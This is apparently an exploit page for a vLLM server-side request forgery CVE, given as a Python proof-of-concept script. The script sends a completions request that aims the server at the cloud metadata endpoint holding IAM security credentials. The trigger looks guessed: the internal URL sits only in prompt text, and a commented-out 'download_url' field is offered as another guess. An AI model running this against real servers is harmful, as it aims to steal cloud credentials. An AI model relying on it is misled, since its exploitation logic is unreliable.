CVE-2026-34753 vLLM服务端请求伪造漏洞

import requests # Target vLLM server endpoint url = "http://vllm-server:8000/v1/completions" # Malicious URL targeting internal metadata service (e.g., AWS IMDS) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Construct the malicious JSON payload # This payload injects the SSRF URL into the batch input payload = { "model": "vllm-model", "prompt": "Read the content from: " + internal_target, "max_tokens": 50 } # Example if the vulnerability is triggered via a specific download parameter # payload = { # "download_url": internal_target # } try: # Send the request to trigger the SSRF response = requests.post(url, json=payload) if response.status_code == 200: print("[+] Potential SSRF triggered successfully.") print("[+] Server Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")